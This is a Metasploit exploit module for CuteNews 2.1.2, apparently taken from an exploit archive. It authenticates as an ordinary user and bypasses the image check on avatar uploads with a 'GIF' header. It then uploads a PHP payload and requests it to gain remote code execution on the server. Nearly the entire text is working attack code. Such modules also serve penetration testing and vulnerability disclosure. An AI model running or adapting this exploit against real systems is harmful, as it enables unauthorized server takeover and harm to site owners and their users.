CuteNews 2.1.2 – ‘avatar’ Remote Code Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => "CuteNews 2.1.2 - 'avatar' Remote Code Execution", 'Description' => %q( This module exploits a command execution vulnerability in CuteNews prior to 2.1.2. The attacker can infiltrate the server through the avatar upload process in the profile area. There is no realistic control of the $imgsize function in "/core/modules/dashboard.php" Header content of the file can be changed and the control can be bypassed. We can use the "GIF" header for this process. An ordinary user is enough to exploit the vulnerability. No need for admin user. The module creates a file for you and allows RCE. ), 'License' => MSF_LICENSE, 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module ], 'References' => [ ['URL', 'http://pentest.com.tr/exploits/CuteNews-2-1-2-Remote-Code-Execution-Metasploit.html'], ['URL', 'http://cutephp.com'] # Official Website ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Automatic', {}]], 'Privileged' => false, 'DisclosureDate' => "Apr 14 2019", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, "Base CutePHP directory path", '/CuteNews']), OptString.new('USERNAME', [true, "Username to authenticate with", 'admin']), OptString.new('PASSWORD', [false, "Password to authenticate with", 'admin']) ] ) end def exec res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "uploads","avatar_#{datastore['USERNAME']}_#{@shell}") # shell url }) end ## # Login and cookie information gathering ## def login(uname, pass, check) # 1st request to get cookie res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_post' => { 'action' => 'dologin', 'username' => uname, 'password' => pass } ) cookie = res.get_cookies # 2nd request to cookie validation res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "index.php"), 'cookie' => cookie }) if res.code = 200 && (res.body =~ /dashboard/) return cookie end fail_with(Failure::NoAccess, "Authentication was unsuccessful with user: #{uname}") return nil end def peer "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" end ## # Upload malicious file // payload integration ## def upload_shell(cookie, check) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "index.php?mod=main&opt=personal"), 'cookie' => cookie }) signkey = res.body.split('__signature_key" value="')[1].split('"')[0] signdsi = res.body.split('__signature_dsi" value="')[1].split('"')[0] # data preparation fname = Rex::Text.rand_text_alpha_lower(8) + ".php" @shell = "#{fname}" pdata = Rex::MIME::Message.new pdata.add_part('main', nil, nil, 'form-data; name="mod"') pdata.add_part('personal', nil, nil, 'form-data; name="opt"') pdata.add_part("#{signkey}", nil, nil, 'form-data; name="__signature_key"') pdata.add_part("#{signdsi}", nil, nil, 'form-data; name="__signature_dsi"') pdata.add_part('', nil, nil, 'form-data; name="editpassword"') pdata.add_part('', nil, nil, 'form-data; name="confirmpassword"') pdata.add_part("#{datastore['USERNAME']}", nil, nil, 'form-data; name="editnickname"') pdata.add_part("GIF\r\n" + payload.encoded, 'image/png', nil, "form-data; name=\"avatar_file\"; filename=\"#{fname}\"") pdata.add_part('', nil, nil, 'form-data; name="more[site]"') pdata.add_part('', nil, nil, 'form-data; name="more[about]"') data = pdata.to_s res = send_request_cgi({ 'method' => 'POST', 'data' => data, 'agent' => 'Mozilla', 'ctype' => "multipart/form-data; boundary=#{pdata.bound}", 'cookie' => cookie, 'uri' => normalize_uri(target_uri.path, "index.php") }) if res && res.code == 200 && res.body =~ /User info updated!/ print_status("Trying to upload #{fname}") return true else fail_with(Failure::NoAccess, 'Error occurred during uploading!') return false end end ## # Exploit controls and information ## def exploit unless Exploit::CheckCode::Vulnerable == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false) print_good("Authentication was successful with user: #{datastore['USERNAME']}") if upload_shell(cookie, true) print_good("Upload successfully.") exec end end ## # Version and Vulnerability Check ## def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "index.php") }) unless res vprint_error 'Connection failed' return CheckCode::Unknown end if res.code == 200 version = res.body.split('target="_blank">CuteNews ')[1].split('</a>')[0] if version < '2.1.3' print_status("#{peer} - CuteNews is #{version}") return Exploit::CheckCode::Vulnerable end end return Exploit::CheckCode::Safe end end ## # The end of the adventure (o_O) // AkkuS ## |